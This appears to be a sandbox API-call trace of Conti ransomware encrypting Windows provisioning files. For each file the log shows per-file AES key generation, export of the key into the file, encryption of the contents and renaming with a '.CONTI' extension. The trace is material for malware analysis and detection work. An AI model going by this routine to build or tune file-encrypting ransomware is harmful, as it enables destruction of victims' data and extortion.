	[0106.603] CloseHandle (hObject=0x3a0) returned 1
	[0106.603] GetProcessHeap () returned 0x1720000
	[0106.603] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.603] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.604] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0106.604] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0106.604] GetProcessHeap () returned 0x1720000
	[0106.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.604] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0106.604] GetProcessHeap () returned 0x1720000
	[0106.604] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d880 | out: hHeap=0x1720000) returned 1
	[0106.604] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.605] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x17c85f0) returned 1
	[0106.605] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x3cffb14 | out: pbData=0x17c4a2c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.605] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml")) returned 0x20
	[0106.605] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.606] GetLastError () returned 0x0
	[0106.606] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=460) returned 1
	[0106.606] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0106.606] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.606] SetEndOfFile (hFile=0x3a0) returned 1
	[0107.400] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.400] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.400] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0107.402] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.402] ReadFile (in: hFile=0x3a0, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1cc, lpOverlapped=0x0) returned 1
	[0107.402] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1cc, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1d0) returned 1
	[0107.402] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.402] WriteFile (in: hFile=0x3a0, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x1d0, lpOverlapped=0x0) returned 1
	[0107.402] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.402] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0107.403] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.403] CloseHandle (hObject=0x3a0) returned 1
	[0107.403] GetProcessHeap () returned 0x1720000
	[0107.403] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.403] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml"
	[0107.403] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.CONTI"
	[0107.403] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.conti")) returned 1
	[0107.403] GetProcessHeap () returned 0x1720000
	[0107.403] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.403] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0107.403] GetProcessHeap () returned 0x1720000
	[0107.403] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510528 | out: hHeap=0x1720000) returned 1
	[0107.403] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0108.037] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6515080 | out: phKey=0x6515080*=0x17c82b0) returned 1
	[0108.037] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515084, pdwDataLen=0x3cffb14 | out: pbData=0x6515084*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0108.040] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.040] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.040] GetLastError () returned 0x0
	[0108.040] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=639) returned 1
	[0108.040] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27f
	[0108.040] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.040] SetEndOfFile (hFile=0x384) returned 1
	[0108.040] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.040] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.040] WriteFile (in: hFile=0x384, lpBuffer=0x6515084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6515084*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.042] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.042] ReadFile (in: hFile=0x384, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x27f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x27f, lpOverlapped=0x0) returned 1
	[0108.042] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x27f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x280) returned 1
	[0108.042] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.042] WriteFile (in: hFile=0x384, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x280, lpOverlapped=0x0) returned 1
	[0108.042] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.042] WriteFile (in: hFile=0x384, lpBuffer=0x6515078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6515078*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0108.043] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.043] CloseHandle (hObject=0x384) returned 1
	[0108.043] GetProcessHeap () returned 0x1720000
	[0108.043] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.043] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.043] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.043] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.043] GetProcessHeap () returned 0x1720000
	[0108.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.044] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.044] GetProcessHeap () returned 0x1720000
	[0108.044] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0108.044] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0108.384] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c7830) returned 1
	[0108.479] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x3cffb14 | out: pbData=0x17d443c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0108.480] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0108.490] GetLastError () returned 0x0
	[0108.490] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=707) returned 1
	[0108.490] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0108.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.490] SetEndOfFile (hFile=0x39c) returned 1
	[0108.490] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.490] WriteFile (in: hFile=0x39c, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.496] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.496] ReadFile (in: hFile=0x39c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2c3, lpOverlapped=0x0) returned 1
	[0108.497] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2c3, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0108.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.497] WriteFile (in: hFile=0x39c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.497] WriteFile (in: hFile=0x39c, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0108.497] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.497] CloseHandle (hObject=0x39c) returned 1
	[0108.497] GetProcessHeap () returned 0x1720000
	[0108.497] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.497] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml"
	[0108.497] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.497] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.498] GetProcessHeap () returned 0x1720000
	[0108.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.498] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0108.498] GetProcessHeap () returned 0x1720000
	[0108.498] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588808 | out: hHeap=0x1720000) returned 1
	[0108.498] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0108.498] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c7e30) returned 1
	[0108.498] CryptExportKey (in: hKey=0x17c7e30, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x3cffb14 | out: pbData=0x17c5104*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0108.499] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.499] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0108.499] GetLastError () returned 0x0
	[0108.499] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=717) returned 1
	[0108.499] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0108.499] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.499] SetEndOfFile (hFile=0x39c) returned 1
	[0108.499] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.499] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.500] WriteFile (in: hFile=0x39c, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.512] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.512] ReadFile (in: hFile=0x39c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2cd, lpOverlapped=0x0) returned 1
